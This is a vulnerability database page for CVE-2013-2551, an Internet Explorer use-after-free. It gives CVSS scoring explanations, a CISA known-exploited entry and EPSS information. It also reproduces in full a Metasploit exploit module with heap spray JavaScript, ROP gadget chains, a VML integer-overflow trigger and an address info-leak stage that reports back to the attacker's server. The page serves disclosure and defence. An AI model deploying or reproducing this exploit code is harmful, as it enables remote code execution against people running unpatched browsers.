CVE-2013-2551 : Detail

CVE-2013-2551

8.8
/
High
Memory Corruption
93.45%V3
Network
2013-03-11
10h00 +00:00
2025-02-07
14h17 +00:00
CVE.org
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CVE Descriptions

Use-after-free vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, as demonstrated by VUPEN during a Pwn2Own competition at CanSecWest 2013, aka "Internet Explorer Use After Free Vulnerability," a different vulnerability than CVE-2013-1308 and CVE-2013-1309.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Internet Explorer Use-After-Free Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-03-27 22h00 +00:00

Action is due : 2022-04-17 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 26175

Publication date : 2013-06-12 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", 'Description' => %q{ This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001). }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis '4B5F5F4B', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2551' ], [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], 'Payload' => { 'Space' => 948, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows 7 SP1 with JRE ROP', # default { 'Rop' => :jre, 'Offset' => '0x5f4' } ], # requires: # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) # * ntdll.dll v6.1.7601.17725 (MS12-001) [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak', { 'Rop' => :ntdll, 'Offset' => '0x5f4' } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 06 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @second_stage_url = rand_text_alpha(10) @leak_param = rand_text_alpha(5) super end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) # Land the payload at 0x0c0c0c0c # For IE 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_ntdll_rop case @ntdll_version when "6.1.7601.17514" stack_pivot = [ @ntdll_base+0x0001578a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141 # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop when "6.1.7601.17725" stack_pivot = [ @ntdll_base+0x0001579a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141 # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop else return "" end end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using JRE ROP") stack_pivot = [ 0x7c348b06, # ret # from msvcr71 0x7c341748, # pop ebx # ret # from msvcr71 0x7c348b05 # xchg eax, esp # ret from msvcr71 ].pack("V*") rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) when :ntdll print_status("Using ntdll ROP") rop_payload = get_ntdll_rop + payload.encoded end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x1000; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x1000; i++){ a[i] = document.getElementById("rect" + i.toString())._anchorRect; if (i == 0x800) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = 0x0c0c0c0c; for (var i=0; i<0x1000; i++) { delete a[i]; CollectGarbage(); } location.reload(); } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <script> #{js} </script> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def html_info_leak js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) return; } } } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak html = html.gsub(/^\t\t/, '') print_status("Sending HTML to info leak...") send_response(cli, html, {'Content-Type'=>'text/html'}) else leak = begin request.uri_parts["QueryString"][@leak_param].to_i rescue 0 end if leak == 0 html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger...") send_response(cli, html, {'Content-Type'=>'text/html'}) return end vprint_status("ntdll leak: 0x#{leak.to_s(16)}") fingerprint = leak & 0x0000ffff case fingerprint when 0x70B0 @ntdll_version = "6.1.7601.17514" @ntdll_base = leak - 0x470B0 when 0x7090 @ntdll_version = "6.1.7601.17725" # MS12-001 @ntdll_base = leak - 0x47090 else print_error("ntdll version not detected, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_rt >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

References

http://www.us-cert.gov/ncas/alerts/TA13-134A
Tags : third-party-advisory, x_refsource_CERT